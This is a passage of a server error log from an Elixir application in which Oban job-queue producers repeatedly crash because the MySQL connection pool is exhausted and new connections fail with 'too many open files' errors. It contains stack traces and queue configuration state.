State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:24:32.240027Z], limit: 50, uuid: "08149ae9-5ae5-4fab-832c-d908b15563c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:32.240034Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57415>, refresh_timer: #Reference<0.2525715032.1099431938.57370>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:24:32.240755Z], limit: 5, uuid: "598b1cb1-4603-4cc4-93c6-9011f00bb3f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:32.240760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57902>, refresh_timer: #Reference<0.2525715032.1099431938.57396>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:48.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:49.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:52.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:54.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:54.980000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:24:45.240141Z], limit: 5, uuid: "d3b64313-5c53-4ec6-b24b-9faeb31c9494", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:45.240147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57716>, refresh_timer: #Reference<0.2525715032.1121189889.187292>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:24:45.239633Z], limit: 10, uuid: "556b4543-8ac4-4a58-9a5c-707f7efa7021", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:45.239638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57712>, refresh_timer: #Reference<0.2525715032.1077673987.36954>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:24:45.239606Z], limit: 20, uuid: "46e9fd5d-8ce8-41f6-9a47-05a35e609c4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:45.239611Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57711>, refresh_timer: #Reference<0.2525715032.1077673987.36950>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:24:45.239040Z], limit: 3, uuid: "1aa43098-e60d-43b1-9276-ebc2d46586bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:45.239045Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57715>, refresh_timer: #Reference<0.2525715032.1077673987.36934>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:24:45.239697Z], limit: 50, uuid: "43543a5c-0733-4242-bfb7-d6b01aff609c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:45.239702Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57714>, refresh_timer: #Reference<0.2525715032.1077673987.36955>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:24:45.238999Z], limit: 5, uuid: "47d3070f-855f-4ef7-990a-88503c0fd173", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:45.239006Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57713>, refresh_timer: #Reference<0.2525715032.1077673987.36944>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:58.009000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:58.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:03.710000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:04.698000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:05.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:06.166000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:06.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:25:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:24:57.240847Z], limit: 5, uuid: "a5808f8e-840f-4981-be96-37600e7f038f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:57.240852Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58054>, refresh_timer: #Reference<0.2525715032.1077673987.37100>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:25:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
